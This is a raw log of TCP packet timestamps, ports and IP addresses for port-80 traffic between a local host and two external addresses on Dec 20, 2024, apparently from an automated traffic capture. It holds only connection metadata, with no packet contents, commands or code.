Dec 20, 2024 17:43:47.554234982 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.554299116 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.558984995 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.559039116 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.559220076 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.559293032 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.563939095 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.564002037 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.564254045 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.564596891 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.569051981 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.569108963 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.569160938 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.569346905 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.573827028 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.574016094 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.574188948 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.578597069 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.578689098 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.579077959 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.579134941 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.583504915 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.583578110 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.583607912 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.583667994 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.588480949 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.588568926 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.588736057 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.588795900 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.592973948 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.593050003 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.593681097 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.593803883 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.597472906 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.597541094 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.598560095 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.598642111 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.602225065 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.602451086 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.648036003 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.648124933 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.648169041 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.648247957 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.650238037 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.652260065 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.674585104 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.674647093 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.674690008 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.674782038 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.675071955 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.675204992 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.675230026 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.675285101 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.676130056 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.676181078 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.676269054 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.676322937 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.677191019 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.677486897 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.677535057 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.678230047 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.678553104 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.678617954 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.679253101 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.679339886 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.679498911 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.680248022 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.680299044 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.680351019 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.680377007 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.680419922 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.681333065 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.681385994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.682033062 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.682084084 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.682444096 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.682456017 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.682518005 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.683442116 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.683487892 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.683520079 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.684616089 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.684669018 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.684958935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.685512066 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.685570002 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.685707092 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.685758114 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.686525106 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.686574936 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.686613083 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.686652899 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.687576056 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.687619925 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.687774897 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.687815905 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.688625097 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.688723087 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.688745022 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.688791990 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.689659119 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.689857960 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.689954042 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.689995050 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.690727949 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.690781116 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.690845966 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.690886021 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.691761971 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.691819906 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.691842079 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.691881895 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.692769051 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.692822933 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.692894936 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.693825006 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.693893909 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.693921089 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.694735050 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.694797039 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.694902897 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.695791960 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.695852041 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.696280956 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.696331024 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.696854115 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.696901083 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.697032928 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.697074890 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.697860003 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.697917938 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.698004007 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.698046923 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.698951006 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.699028969 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.699348927 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.699421883 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.702959061 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.703017950 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.703036070 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.703047991 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.703073978 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.703094006 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.703248024 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.703284979 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.703289032 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.703296900 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.703327894 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.703341961 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.703831911 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.703844070 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.703893900 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.704623938 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.704668045 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.705132008 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.705678940 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.705691099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.705744982 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.706710100 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.706721067 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.706782103 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.707770109 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.707828045 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.707988024 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.708031893 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.708775043 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.708838940 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.708910942 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.708956003 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.709844112 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.709889889 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.710520029 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.710578918 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.710880041 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.711002111 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.711052895 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.711977005 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.712028980 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.712517023 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.712793112 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.712910891 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.712953091 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.713035107 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.713341951 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.713740110 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.713805914 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.713896036 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.713972092 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.714020014 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.714031935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.714063883 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.714996099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.715042114 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.715173006 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.715213060 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.715281963 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.715293884 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.715339899 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.715379000 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.716026068 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.716073990 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.716859102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.717071056 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.717127085 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.717596054 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.718143940 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.718156099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.718215942 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.718669891 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.718682051 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.718780994 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.719161987 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.719222069 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.719269037 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.719346046 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.720196962 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.720252037 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.720666885 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.720711946 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.721256971 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.721267939 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.721385956 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.721400976 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.721425056 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.721446991 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.722286940 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.722707987 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.722759008 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.723326921 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.724261999 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.724275112 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.724334955 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.724348068 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.724354029 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.724380016 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.724509954 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.724522114 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.724566936 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.725411892 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.725459099 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.725538015 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.725578070 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.726475954 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.726524115 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.726790905 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.726833105 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.727330923 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.727412939 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.727447987 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.727541924 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.727727890 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.727741003 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.727787971 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.728763103 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.728816032 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.728853941 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.729648113 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.729705095 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.730061054 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.730123043 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.730179071 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.732999086 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.733063936 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.733124971 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.733212948 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.735925913 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.736027956 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.736062050 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.736141920 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.738866091 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.739329100 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.739470959 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.741828918 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.741945982 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.741964102 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.742003918 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.744715929 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.744869947 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.744996071 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.745156050 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.747643948 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.747816086 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.748833895 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.750255108 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.750530005 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.750644922 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.750672102 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.750763893 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.753544092 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.753635883 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.753645897 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.756347895 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.756359100 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.756645918 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.757097960 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.757327080 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.759355068 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.759494066 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.760087013 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.762260914 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.763081074 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.764985085 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.765132904 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.765165091 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.765256882 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.765280008 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.765306950 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.768214941 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.768228054 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.768340111 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.771055937 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.771126986 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.771255970 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.774102926 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.774657965 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.774940014 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.775052071 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.776751995 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.776880026 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.777019978 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.777133942 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.779441118 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.779697895 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.779727936 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.779890060 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.782161951 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.782282114 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.782499075 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.784718037 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.784771919 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.784797907 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.784841061 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.787516117 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.787919998 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.787945032 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.787962914 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.790007114 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.791074038 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.791141033 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.792886972 CET	80	49776	194.126.174.112	192.168.2.6
